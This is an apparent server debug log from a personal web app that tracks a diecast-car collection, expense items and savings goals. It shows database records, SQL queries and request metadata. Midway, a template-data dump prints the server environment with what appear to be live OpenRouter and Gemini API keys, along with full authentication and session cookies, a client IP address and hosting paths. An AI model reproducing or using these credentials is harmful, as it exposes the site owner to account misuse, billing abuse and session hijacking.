      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-24T12:06:56.258Z server-connect:app Executing action step identify
2026-02-24T12:06:56.258Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:56.258Z server-connect:output identity: 1
2026-02-24T12:06:56.258Z server-connect:app Executing action step restrict
2026-02-24T12:06:56.258Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:06:56.258Z server-connect:app Executing action step identify
2026-02-24T12:06:56.258Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:56.258Z server-connect:output identity: 1
2026-02-24T12:06:56.258Z server-connect:app Executing action step restrict
2026-02-24T12:06:56.258Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:06:56.260Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-24T12:06:56.260Z server-connect:output restrict: undefined
2026-02-24T12:06:56.261Z server-connect:app Executing action step select
2026-02-24T12:06:56.261Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-24T12:06:56.261Z server-connect:output restrict: undefined
2026-02-24T12:06:56.261Z server-connect:app Executing action step select
2026-02-24T12:06:56.261Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-24T12:06:56.262Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-24T12:06:56.262Z server-connect:app Executing action step select
2026-02-24T12:06:56.262Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-24T12:06:56.263Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-02-24T12:06:56.264Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-24T12:06:56.264Z server-connect:app Executing action step select
2026-02-24T12:06:56.264Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-24T12:06:56.265Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-24T12:06:58.478Z server-connect:router Serving templateView /goal
2026-02-24T12:06:58.478Z server-connect:app Executing action step identify
2026-02-24T12:06:58.478Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:58.478Z server-connect:output identity: 1
2026-02-24T12:06:58.478Z server-connect:app Executing action step restrict
2026-02-24T12:06:58.479Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:06:58.479Z server-connect:output restrict: undefined
2026-02-24T12:06:58.479Z server-connect:router Render template goal
2026-02-24T12:06:58.479Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"4491-L+ZArf6/3Js+7+oGLbqhSbEDH4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:01:39.296Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"4491-L+ZArf6/3Js+7+oGLbqhSbEDH4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-24T12:06:58.701Z server-connect:router Serving serverConnect /api/goals/list
2026-02-24T12:06:58.702Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-02-24T12:06:58.702Z server-connect:app Executing action step identify
2026-02-24T12:06:58.702Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:58.702Z server-connect:output identity: 1
2026-02-24T12:06:58.702Z server-connect:app Executing action step restrict
2026-02-24T12:06:58.702Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:06:58.703Z server-connect:app Executing action step identify
2026-02-24T12:06:58.703Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:58.703Z server-connect:output identity: 1
2026-02-24T12:06:58.703Z server-connect:app Executing action step restrict
2026-02-24T12:06:58.703Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:06:58.703Z server-connect:output restrict: undefined
2026-02-24T12:06:58.703Z server-connect:app Executing action step custom
2026-02-24T12:06:58.703Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-02-24T12:06:58.704Z server-connect:output restrict: undefined
2026-02-24T12:06:58.704Z server-connect:app Executing action step paged
2026-02-24T12:06:58.704Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-24T12:06:58.706Z server-connect:output list: [
  {
    id: 10,
